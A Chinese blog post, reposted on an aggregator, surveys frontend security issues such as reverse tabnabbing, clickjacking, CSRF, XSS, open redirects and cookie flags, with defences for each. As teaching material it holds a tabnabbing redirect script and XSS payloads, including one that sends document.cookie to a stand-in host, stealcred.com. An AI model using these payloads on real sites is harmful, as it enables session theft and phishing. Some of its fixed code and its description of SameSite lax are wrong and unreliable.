16 个前端安全知识

news2024/11/28 4:52:15

16 个前端安全知识

去年 security course 上的是 React,然后学了一些 一些 React 项目中可能存在的安全隐患,今年看了一下列表,正好看到了前端也有更新,所以就把这个补上了。

一个非常好学习各种安全隐患的机构是 https://owasp.org/

其实很多情况下用户不妨问可疑网站就可以解决……但是吧,educate user 永远是一件非常困难的事情,多做做防护也是必要的。

reverse tabnabbing

这是一个对于很多用户来说非常容易踩雷的一个坑,展示效果如下:

在这里插入图片描述

其工作原理是通过 forward window.opener 这个对象实现的,其实这个漏洞真的挺容易被漏看的,因为 opener 以前是会随着 Target=”_blank” 一起被 forward 到新的网页,如果新的网页稍微有那么点心思不纯,就可以写一个克隆网页,然后比较轻松的盗取用户信息。

触发代码如下:

  • 受到攻击的网页,假设有人留了个 post 之类的:

    <html>
      <body>
        <li>
          <a href="bad.example.com" target="_blank"
            >Vulnerable target using html link to open the new page</a
          >
        </li>
        <button onclick="window.open('https://bad.example.com')">
          Vulnerable target using javascript to open the new page
        </button>
      </body>
    </html>
    
  • 可疑地网页

    <html>
      <body>
        <script>
          if (window.opener) {
            window.opener.location = 'https://phish.example.com';
          }
        </script>
      </body>
    </html>
    

根据 MDN 上说,目前使用 target="_blank" 的话,opener 是直接设置成 null 了,除此之外,两个可以将 window.opener 设置成 null 的方式有:

  1. 设置 rel=noopener
  2. Cross-Origin-Opener-Policy 设置为 same-origin

HTTP Strict-Transport-Security (HSTS)

这是解决一种 Man-in-the-Middle attack 的解决方式,这种攻击方式的图示是这样的:

在这里插入图片描述

有些网站可能会有 HTTP first 的实现,加入网址为 https://www.example.com,它会允许用户访问 http://www.example.com,并且重定向到 https 加密的网站。对于用户来说,大多数情况下 TA 不会输入完整的网址,而是会直接输入 www.example.com,这时,访问就会被定向到 HTTP 版本,再重定向到 HTTPS 的版本。

换言之,如果有黑客注册了 http://www.example.com 这一域名,那么用户的信息就会先访问到 HTTP 版本的网站,黑客没有用户信息,但是可以将用户重新定向到登录网址,获取用户信息。

如使用 301:

HTTP/1.1 301 Moved Permanently
Date: ____________________
Content-Length: 0
Connection: close
Location: http://www.example.com/login.html

这时候用户被被重定向到 http://www.example.com/login.html 进行下一步操作,用户一旦提供了登录信息,那么黑客也就获得了对应的登录信息,这时候黑客会将用户重新定向到 HTTPS 的网站。

降低风险的一种方法就是使用 HTTP Strict-Transport-Security (HSTS),也就是增加一条 header,大致如下:

Strict-Transport-Security: max-age=31536000; includeSubdomains; preload

preload 是针对从未访问过该网页,没有获取对应 header 的用户,更多信息可以在 reference 中看到。

No Server-Side Validation

这个还是比较好理解的,如果没有服务端验证,网站一旦收到了 XSS 攻击,那么就可以直接向服务器发送有问题的数据,又或者不通过浏览器发送有问题的信息到服务器去。

Click Jacking

图示如下:

在这里插入图片描述

这里点击 action 的一个原因在于镶嵌了 iframe,通过修改 opacity 就可以看到逐渐显示的 iframe:

在这里插入图片描述

这也是另外一个用户很容易上当的事情,因为看不到,看到按钮(特别是关闭广告的那种)又都会点击……

这里预防的方法有两种,一个是使用 X-Frame-Options 去告知浏览器不要在嵌套 tag(如 iframe、frame、embed、object)中渲染页面,第二个是使用 Content Security Policy (CSP) 防止当前页面渲染嵌套 tag。

对于 legacy support,可以使用 下面的代码:

<style>
  html {
    display: none;
  }
</style>
<!-- hides the document and prevents clicks -->
<script>
  if (top !== self) {
    top.location = self.location;
  } // Attempt to escape frame
  else {
    document.documentElement.style.display = 'block';
  } // If not in frame, make html visible
</script>

Cross Site Request Forgery(CSRF)

CSRF 也是一个比较常见的攻击,常见的一个方式是,用户打开了一个新的网站,这个网站可以获取浏览器中的 session id,然后将修改信息送到服务器,如果服务器不做任何的验证,或者是单纯的相信了这个 session id,那么服务器就会执行相应的操作。

解决方式一般用:

  1. synchronizer token/anti-CSRF/CSRF token,一个加密并且半随机的 token

    每次用户加载该页面,或是打开了一个新的 session,就可以生成一个新的 token,随后可以通过 HTML、json、http header 等方式传输给后端。当用户发送一个请求时,后端就可以验证对应的 token 是否和当前存储的一样,从而进行验证

  2. double submit cookies

    这是存在 session 中的 CSRF token 可以被还原的情况下使用,在这个情况下,token 会被加在 cookies 和 request body 中,如果两个 token 不 match,那么该请求就会被拒绝

  3. 将 token 存在 header 中

    这个是依赖于 same origin policy 实现的,这样第三方无法使用该 token 完成请求

过期的依赖

说起来我们项目最近就在用 sonatype 查 dependencies,然后 release team 会看 sonatype 的报告,发现有 outdated packages 的危险性比较高的话就没办法 release。

除此之外,也要申明接受和传输的数据类型,如:

$.get({
  url: 'https://www.example.com',
  dataType: 'application/json',
});

$.post({
  url: 'https://www.example.com',
  data: 'test',
  dataType: 'application/json',
});

DOM Based XSS

这里遭受的攻击是使用 URL Fragment,也就是不会传到 server 的那部分代码,比如说 query parameter,如:用户被钓鱼网站骗了,然后点击了 https://www.example.com/#filter=Products 这个网址

其中 filter=Products 这一段会被 URLParams,然后作为 parameter 对后端发送请求。换言之,如果代码没有处理过的话,这段代码 localhost:5500/#filter=<img src="bogus.url" onError="alert('hacked')"> 的执行结果为:

在这里插入图片描述

HTML 部分代码为:

<script>
  const frag = window.location.hash.substr(1);
  const filterval = frag.split('filter=')[1].split('&')[0];
  filterval = decodeURI(filterval);
  document.querySelector('.filter').innerHTML =
    '<h2>Filtering by: "' + filterval + '"</h2>';
</script>

两个解决方案为:

  1. 不要使用 innerHTML,而是使用 textContent
  2. 清理用户输入信息

修改后的结果为:

在这里插入图片描述

修改后的代码:

const HtmlEncode = (s) => {
  const HTMLCharMap = {
    '&': '&amp;',
    "'": '&#39;',
    '"': '&quot;',
    '<': '&lt;',
    '>': '&gt;',
    '\\': '&#x5c;',
    '`': '&#x60;',
    ':': '&#58;',
  };

  const encodeHTMLmapper = (ch) => {
    return HTMLCharMap[ch];
  };
  return s.replace(/[&"'<>\\`:]/g, encodeHTMLmapper);
};

const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').textContent =
  '<h2>Filtering by: "' + HtmlEncode(filterval) + '"</h2>';

DOM Based in AJAX

这一段其实和上面有点像,不过上面用的是 HTML fragment,这里可能用户在 input 或者 textarea 输入了一些信息,随着 AJAX 异步发送,前端没有清洗用户数据,后端也没有清晰数据,随后造成了恶意代码在网页中被加载

DOM XSS in eval()

同上,eval 也是单独的作用域,可以用来执行 JS,除了清理用户数据之外,也避免使用 eval,而是换成 JSON.parse(json)

secure cookie flag

简单的说,就是 cookie 中没有 secure 这个 flag,这个是要结合 man-in-the-middle attack 一起去看的,MDN 中的解释为:

Indicates that the cookie is sent to the server only when a request is made with the https: scheme (except on localhost), and therefore, is more resistant to man-in-the-middle attacks.

换言之,当 secure 这个 flag 出现的时候,浏览器在和 HTTP 网站交流时不会带上 cookie,这样可以防止第三方在第一次访问 HTTP first 的网站时携带 cookie。

HttpOnly Cookie Flag

如果设置了 HttpOnly,那么就无法在 JavaScript 中获取浏览器中的 cookie,这也是一个比较常见的 XSS 攻击,出于同样的考量,现在 JS 是无法设置 HttpOnly 这个 flag 的

DOM Open Redirect

这里指的是使用 JavaScript 从 fragment 那里获取 URL 进行重定向,如:https://www.example.com/signon?cust=returning#url=https://www.eaxmple.com/redirect, 这里就会使用 # 去获取重定向的 URL,再使用 JS 中的 window.location = url 的方式进行重定向。

需要注意的是,原本的 domain 是 example,重定向中的 URL 的 domain 是 eaxmple,即

example

eaxmple

也就是说稍有不注意,用户就有可能被重定向到假的页面。

解决方式有:

  • 有可能的话尽量不要让用户提供重定向的网页
  • 如果需要重定向的话,不要重定向整个 URL,可以获取 sub-directory,如只获取 signon
  • 添加白名单,并对比用户提供的数据与白名单上的列表

Reflected XSS

与 fragment 相比,这里用的是 query parameter,如 https://example.com?search=%3Cscript%3Ealert('This application is vulnerable!')%3C%2Fscript%3E,用户有可能通过点击这样的网址,从而被获取到 cookie 等关键信息。

处理的方式,大多数上面也提过了:

  • 清理用户提供的数据
  • 尽量不要渲染用户提供的数据到关键的代码
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Stored (Persistent) XSS

简单的案例有,提供这样的代码 Steal Cred <script>document.write("<img src='https://www.stealcred.com/catch?cookie="+document.cookie+" '/>");</script>. 到一些用户输入框中,如果代码钱后端都没有被清理过的话,那么一旦这个代码被保存/持久化,任何看到这条这个评论/留言的用户的用户信息就会被窃取

处理的方式还是:

  • 清理用户提供的数据
  • 了解用户信息会被渲染的地方,尽量不要注入到有可能会调动 JS 的地方
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Common XSS Use Cases

  • 没有清洗用户输入的数据,其中可能包括 ', ", </script><script>alert('We triggered the XSS!');/* 等 ```和${}

  • 使用 ${userInput.a} 获取用户提供的键值对,另一种方式是使用 json.parse()

  • 代码中使用 eval() 去转换 JSON 代码,同样也可以使用 json.parse()

  • 没有清理便直接讲用户数据放入 eval, setTimeout(), setInterval(), Function() 的构造函数, CSS, div, a 等 HTML 标签中

  • noscript 其实也有风险,比如说:

    <noscript> Please turn on Javascript! </noscript> alert('hacked') </noscript> element cannot be displayed without Javascript! </noscript>

    这种情况下也会触发 XSS 攻击

SameSite cookie attributes

SameSite cookie attributes 有三个值:

  • strict

    只支持来自同一个域名的访问请求

  • lax

    这时候网站支持两种请求:

    • POST/GET/PATCH/DELETE 这种安全的 HTTP methods

    • top-level navigation

      根据一个 stack overflow 的答案,简单来说就是:

      Basically, TOP LEVEL navigation changes the URL in your address bar. Resources that are loaded by iframe, img tags, and script tags do not change the URL in the address bar so none of them cause TOP LEVEL navigation.

  • none

    这个情况下 SameSite 的属性跟没有设置一样,这代表着开发团队刻意满足 cross site 请求,因此需要设置 secure

有一个解决来自外部访问的方法是,READ permission 可以设置为 lax,其他的操作 permission 设置为 strict,这样来自外部(第三方)的用户可以浏览网页,但是没有办法操作

Reference

  • Preloading Strict Transport Security

  • https://hstspreload.org/.

  • X-Frame-Options

  • Content-Security-Policy

  • Set-Cookie

  • How do I set the HttpOnly flag of a cookie with javascript?

  • What is top-level navigation in browser terminology and in what ways it can be triggered?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/952276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《Python入门到精通》webbrowser模块详解,Python webbrowser标准库,Python浏览器控制工具

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;小白零基础《Python入门到精通》 webbrowser模块详解 1、常用操作2、函数大全webbrowser.open() 打开浏览器webbro…

Django请求的生命周期

Django请求的生命周期是指: 当用户在浏览器上输入URL到用户看到网页的这个时间段内&#xff0c;Django后台所发生的事情。 直白的来说就是当请求来的时候和请求走的阶段中&#xff0c;Django的执行轨迹。 一个完整的Django生命周期: 用户从客户端发出一条请求以后&#xff…

Kubernetes技术--Kubernetes架构组件以及核心概念

1.Kubernetes集群架构组件 搭建一个Kubernetes环境集群,其架构如下所示: 内容详解: Master:控制节点,指派任务、决策 Node:工作节点,实际干活的。 Master组件内容:

Python小知识 - 如何使用Python的Flask框架快速开发Web应用

如何使用Python的Flask框架快速开发Web应用 现在越来越多的人把Python作为自己的第一语言来学习&#xff0c;Python的简洁易学的语法以及丰富的第三方库让人们越来越喜欢上了这门语言。本文将介绍如何使用Python的Flask框架快速开发Web应用。 Flask是一个使用Python编写的轻量级…

迈向无限可能, ATEN宏正领跑设备切换行业革命!

随着互联网在各个领域的广泛应用,线上办公这一不受时间和地点制约、不受发展空间限制的办公模式开始广受追捧,预示着经济的发展正朝着新潮与活跃的方向不断跃进。当然,在互联网时代的背景下,多线程、多设备的线上办公模式也催生了许多问题:多设备间无法进行高速传输、切换;为保…

Mybatis 日志(JDK Log)

上一篇我们介绍了Mybatis中的参数&#xff0c;本篇我们使用JDK Log打印一下Mybatis运行时的日志&#xff0c;看一下Mybatis执行的过程。 这里我选取上一篇的示例进行JDK Log的集成&#xff0c;这里如果您想对上一篇进行详细了解&#xff0c;可以参考&#xff1a; Mybatis参数…

【python爬虫】4.爬虫实操(菜品爬取)

文章目录 前言项目&#xff1a;解密吴氏私厨分析过程代码实现&#xff08;一&#xff09;获取与解析提取最小父级标签一组菜名、URL、食材写循环&#xff0c;存列表 代码实现&#xff08;二&#xff09;复习总结 前言 上一关&#xff0c;我们学习了用BeautifulSoup库解析数据和…

说说构建流批一体准实时数仓

分析&回答 基于 Hive 的离线数仓往往是企业大数据生产系统中不可缺少的一环。Hive 数仓有很高的成熟度和稳定性&#xff0c;但由于它是离线的&#xff0c;延时很大。在一些对延时要求比较高的场景&#xff0c;需要另外搭建基于 Flink 的实时数仓&#xff0c;将链路延时降低…

国标视频云服务EasyGBS国标视频平台迁移服务器后无法启动的问题解决方法

国标视频云服务EasyGBS支持设备/平台通过国标GB28181协议注册接入&#xff0c;并能实现视频的实时监控直播、录像、检索与回看、语音对讲、云存储、告警、平台级联等功能。平台部署简单、可拓展性强&#xff0c;支持将接入的视频流进行全终端、全平台分发&#xff0c;分发的视频…

即插即生产与基于技能的设计

智能制造领域的主要研究工作就是为制造领域所有事物和行为构建数字化模型。最终实现制造工厂中设备&#xff0c;软件&#xff0c;物流所有事物的互联互通。而且实现这种互联互通是便捷&#xff0c;灵活的。通俗地将就是“即插即生产”。不过&#xff0c;要实现这一目标并非易事…

【C#每日一记】常用泛型数据结构类及题单实践回顾

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

【算法题】1761. 一个图中连通三元组的最小度数

题目&#xff1a; 给你一个无向图&#xff0c;整数 n 表示图中节点的数目&#xff0c;edges 数组表示图中的边&#xff0c;其中 edges[i] [ui, vi] &#xff0c;表示 ui 和 vi 之间有一条无向边。 一个 连通三元组 指的是 三个 节点组成的集合且这三个点之间 两两 有边。 连…

Java流式编程详细介绍

文章目录 1. 流式编程介绍2. 过滤2.1 filter2.2 distinct2.3 limit2.4 sorted2.5 skip 3. 映射3.1 map3.2 flatmap 4 查找4.1 allMatch4.2 anyMatch4.3 noneMatch4.4 findFirst4.5 findAny 5. 归约6. 收集6.1 counting6.2 maxBy,minBy6.3 summingInt、summingLong、summingDoub…

zookeeper 3.8.1安装和入门使用

1、zookeeper环境搭建&#xff08;Windows单机版&#xff09; 1.1、 前提 必须安装jdk 1.8&#xff0c;配置jdk环境变量&#xff0c;步骤略 1.2、安装zookeeper 地址&#xff1a;https://zookeeper.apache.org/ 1.2.1、选择releases版本 1.2.2、下载安装包并解压 1.2.3、配…

大厂面试解码:如何准备Google, Amazon等公司的面试

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

Spring Session中会将会话ID记录到标准输出流中危漏洞CVE-2023-20866

文章目录 0.前言漏洞受影响的Spring产品和版本 1.参考文档2.基础介绍描述 3.解决方案3.1. 升级版本 4.HeaderHttpSessionIdResolver 解析5. Spring Session 使用教程 0.前言 背景&#xff1a;公司项目扫描到 CVE-2023-20866&#xff1a;在Spring Session中会将会话ID记录到标准…

WevSocket(java基于spring框架实现)

一、概述 本文基于spring-boot-starter-websocket简单的完成收发信息功能&#xff0c;使用spring框架进行实现。 二、相关配置 spring:2.0.2&#xff0c;jdk:1.8.202&#xff0c;maven:3.3.9 因为spring和maven有版本匹配的要求&#xff0c;请大家注意自己的版本是否匹配 …

专线连接交换机设置 – 如何实现高效率的网络连接?

专线链接交换机设置 – 如何实现高效率的网络连接&#xff1f; 什么是专线连接交换机&#xff1f; 在现代互联网中&#xff0c;网络连接的快速和高效是至关重要的。尤其是对于需要大量数据传输和保证网络稳定性的企业和组织来说&#xff0c;专线连接交换机是一项非常重要的技…

华为云Stack的学习(四)

五、Service OM资源管理 1.Service OM简介 1.1 Service OM介绍 在华为云Stack解决方案中&#xff0c;Service OM是FusionSphere OpenStack的操作管理界面&#xff0c;是资源池&#xff08;计算、存储、网络&#xff09;以及基础云服务的管理工具。 1.2 Service OM定位 Serv…

分类算法系列②:KNN算法

目录 KNN算法 1、简介 2、原理分析 数学原理 相关公式及其过程分析 距离度量 k值选择 分类决策规则 3、API 4、⭐案例实践 4.1、分析 4.2、代码 5、K-近邻算法总结 &#x1f343;作者介绍&#xff1a;准大三网络工程专业在读&#xff0c;努力学习Java&#xff0c;涉…